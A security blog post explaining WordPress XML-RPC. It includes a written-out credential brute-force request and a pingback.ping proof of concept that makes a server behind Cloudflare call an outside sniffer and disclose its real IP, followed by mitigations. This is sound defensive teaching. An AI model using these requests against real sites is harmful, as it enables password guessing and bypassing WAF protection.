IP Disclosure of Servers Behind WAFs Using WordPress XML-RPC

XML-RPC protocol was introduced to ease the usability of cross-platform applications, but the new attack discovery shows that it allows IP Disclosure attacks. This blog post explains how the XML-RPC Protocol works and how it is vulnerable to IP Disclosure attacks on Wordpress. It shows how this attack is possible and how to prevent it.

IP Disclosure of Servers Behind WAFs Using WordPress XML-RPC
By the end of the 90s, communication between distributed systems had become a crucial necessity. One of the solutions implemented since then is the XML-RPC (Remote Procedure Call) protocol. This protocol allows remote procedure calls through data transferred in the XML format. These calls enable different platforms to communicate with websites. But, it also enabled malicious hackers to send arbitrary XML data that forced websites to execute certain code or exfiltrate data. This article introduces the working order of the XML-RPC protocol and shows that it is possible to obtain the real IP addresses of servers behind a reverse proxy such as Cloudflare, using the XML-RPC protocol on WordPress.

ID Disclosure of Servers Behind WAFs Using XML-RPC Protocol

How the XML-RPC Protocol Works

The XML-RPC protocol uses HTTP as a transfer channel and triggers procedure calls within systems using data in XML format. The result of the calls would then be displayed in the HTTP response.

XML-RPC Request

In its simplest form, an XML-RPC request is an HTTP POST message that holds XML data in the body. If the client is authorized to send the XML data, it is executed and the result is sent as an HTTP response in XML format. Here’s an example of an XML-RPC request:
POST /RPC2 HTTP/1.1
User-Agent: XXX
Host: example.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0"?>
<methodCall>
  <methodName>examples.getStateName</methodName>
  <params>
     <param>
        <value><i4>41</i4></value>
        </param>
     </params>
  </methodCall>
The HTTP request above includes the following components in the method call:
  • methodName, the procedure that’s called
  • its parameters that are required for the call to work under the params node
The entire data transfer takes place with a typical HTTP request and response. We know that from HTTP 1.0 onwards, the Host header is required in HTTP messages. However since this is an XML-RPC message, the User-Agent header is required as well. Besides those two headers, the Content-Type header must be set to application/xml and the Content-Length should have an appropriate value. The number of parameters sent in the XML-RPC request can be as many as the procedure requires to work. These values must be listed in individual param subnodes under the params node. Each parameter has to be passed as value but you don’t have to set a name, since the order of the parameters matters, not the name. Although the i4 seems to be the parameter name in the code snippet below, it is actually the parameter's type.
  <params>
     <param>
        <value><i4>41</i4></value>
     </param>
     <param>
        <value><i4>42</i4></value>
     </param>
     <param>
        <value><i4>43</i4></value>
     </param>
  </params>

Scalar Data Types

Scalar data types are single value data types such as integers, booleans, strings, or doubles. They hold a single data item. There might be different parameter value types. In the absence of a type declaration, the default type string is set for each value. Here are some of the tags.
Tag Type Example
<i4> or <int> 4 byte integer -12
<boolean> Boolean (True:1, False:0) 0 or 1
<string> String Hello World
<double> Double -12.214
<dateTime.iso8601> Date / Time 19980717T14:08:55
<base64> Base64 encoded string TmV0c3BhcmtlciBTZWN1cml0eSBTY2FubmVy
There are different types that can be used besides the scalar types listed in the table.

<struct> Type

The struct data type can hold sub-nodes named 'member'. Each member can have their own names and subnodes. The struct type can recursively hold a different scalar type, an array type, or a struct type in the value area.
<struct>
  <member>
     <name>lowerBound</name>
     <value><i4>18</i4></value>
  </member>
  <member>
     <name>upperBound</name>
     <value><i4>139</i4></value>
  </member>
</struct>

<array> Type

The array type has a single node called data. This node can include as many value nodes as necessary. It can also be recursive like the struct type.
<array>
  <data>
     <value><i4>12</i4></value>
     <value><string>Egypt</string></value>
     <value><boolean>0</boolean></value>
     <value><i4>-31</i4></value>
  </data>
</array>

XML-RPC Responses

If there are no errors in the system, all XML-RPC responses must return with an HTTP status code of 200. The response should also have the Content-Type header set to application/xml and the Content-Length must match the size of the response.
HTTP/1.1 200 OK
Connection: close
Content-Length: 158
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache

<?xml version="1.0"?>
<methodResponse>
  <params>
     <param>
        <value><string>South Dakota</string></value>
     </param>
  </params>
</methodResponse>
The body of the HTTP response must have a single XML message including a main node named <methodResponse>. The details of the response should be under this node. The XML-RPC response may also have a sub-node in struct type called fault. This sub-node may include two elements: an integer faultCode and a string faultString.
HTTP/1.1 200 OK
Connection: close
Content-Length: 426
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache

<?xml version="1.0"?>
<methodResponse>
  <fault>
     <value>
        <struct>
           <member>
              <name>faultCode</name>
              <value><int>4</int></value>
              </member>
           <member>
              <name>faultString</name>
              <value><string>Too many parameters.</string></value>
              </member>
           </struct>
        </value>
     </fault>
  </methodResponse>

The Deployment of XML-RPC Protocol on WordPress

We had stated in the introduction that the main goal of XML-RPC is to allow different platforms and distributed systems to conduct data transfer, and trigger a set of events on one another. From WordPress 3.5 onwards the XML-RPC protocol will be deployed and the function calls in the WordPress API will be possible. Using XML-RPC, WordPress developers allow users to publish a blog post, view statistics, delete posts, and confirm comments on their websites from different platforms, such as mobile phones. Assuming your WordPress site is loaded on http://example.com/wordpress/, you can access the XML-RPC endpoint over www.example.com/wordpress/xmlrpc.php. Here’s what you’ll get when you visit that page:

The message above is a reminder that the XML-RPC requests should be sent with the HTTP POST method.

The XML-RPC Functions Available on WordPress

We can list all the XML-RPC calls supported by WordPress with the HTTP message below:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

As seen above, there are many methods supported by WordPress which raises concerns about the security of the system. These methods can be used in various attack types such as brute-force, DDoS and port scanning the internal system. There are many bug disclosures and write-ups abusing these methods.

An Example of the Brute-Force Attack

Here’s the request made in a brute-force attack using XML-RPC protocol on WordPress:
POST /xmlrpc.php HTTP/1.1
User-Agent: Fiddler
Host: www.example.com
Content-Length: 164

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Here’s the response:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 May 2019 13:30:17 GMT
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
Expires: Sun, 02 Jun 2019 13:30:17 GMT
Content-Length: 403

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
 <fault>
<value>
  <struct>
    <member>
      <name>faultCode</name>
      <value><int>403</int></value>
    </member>
    <member>
      <name>faultString</name>
      <value><string>Incorrect username or password.</string></value>
    </member>
  </struct>
</value>
 </fault>
</methodResponse>
The response above sends out the HTTP status code 403 and a message saying "Incorrect username or password" in case the username and password are indeed incorrect. Generally, in a regular login page, if the user repeatedly sends incorrect login credentials, the user might get banned or locked out from their account after a certain limit. However, the rate limit can be bypassed using XML-RPC. Let’s move on to the IP disclosure attack.

IP Disclosure or Cross-Site Port Attack (XSPA)

We’re going to use a feature on WordPress called pingback to retrieve the real IP address of the website. The pingback feature allows a type of comment to be generated whenever you link to another WordPress.com post on your blog post. This pingback appears in the linked post’s comment section just as any other comment would, allowing their rating to increase in the search engine results. Initially, we have to control whether there’s the pingback.ping method among the XML-RPC methods supported by WordPress.

Once we confirm that it exists, we can abuse the system by pinging a post on a different website from a blog post. The system will control the blog post by connecting to the URL we pass. Although the target website is potentially behind a Web Application Firewall (WAF) like Cloudflare, the web server will make the request from its IP address, allowing us to acquire it.

Proof of Concept of the IP Disclosure Attack

First and foremost, let's take a look at the IP address of the target server using the ping feature in the Command Line Interface (CLI).

We’re getting a response from 104.28.4.43. This IP does not belong to the server. Instead it belongs to Cloudflare CDN.

Next, we have to use the pingback mechanism to obtain the real IP address of the target server. To do that, we have to use a sniffer to make sure that the pingback request is transmitted. We’re using http://pingb.in for this, and generating a sniffer end-point right away:

Once we do that, we have to get the URL of a live blog post because we’re essentially going to request the server to control the blog post by visiting it with the pingback feature. The URL of the blog post we’ll be using is this: http://www.example.com/trump-mayin-istifa-kararini-degerlendirdi/ Here’s the template of the request we’re making:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://source/url/here</string></value>
       </param>
       <param>
           <value><string>http://target/url/here</string></value>
       </param>
   </params>
</methodCall>
In the template above, the source URL belongs to the article that has a link to the blog post. The target URL is the linked blog post. The system visits the source and confirms that the target URL is indeed linked within the source. Using the template above, here’s the request we’re making:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
   <param>
      <value><string>http://pingb.in/p/ca373b33e2f3f5e43f9326d09c15</string></value>
   </param>
   <param>
      <value><string>http://www.example.com.com/trump-mayin-istifa-kararini-degerlendirdi/</string></value>
   </param>
</params>
</methodCall>
After we make the request, we can observe that the response sent to the HTTP sniffer holds the real IP of the server:

The IP address 94.73.146.99 is the real IP of the server. Therefore, it is possible to bypass the WAF and send HTTP packets directly to the server, skipping through all the security mechanisms in between the server and the internet:

How to Prevent the IP Disclosure Attack

Almost all of the studies conducted under this topic suggest turning off the XML-RPC service entirely as a prevention mechanism. However, doing so might cause problems in the way the system works, such as breaking the pingback mechanism, communication between dedicated applications and the WordPress system. Instead, you can disable the pingback.ping method using the code block below. Add the code snippet below to function.php page.
add_filter( 'xmlrpc_methods', function( $methods ) {
   unset( $methods['pingback.ping'] );
   return $methods;
} );
Besides the prevention mechanism above, the XML-RPC attacks can also be prevented by setting whitelisted traffic rules to limit the outgoing traffic. Although the XML-RPC protocol was introduced to ease the usability of cross-platform applications, there are many attacks that can be done with it. Applying the prevention methods above can reduce the risk and make the attackers’ motives less feasible. It’s important to maintain security in every utility and feature of web applications.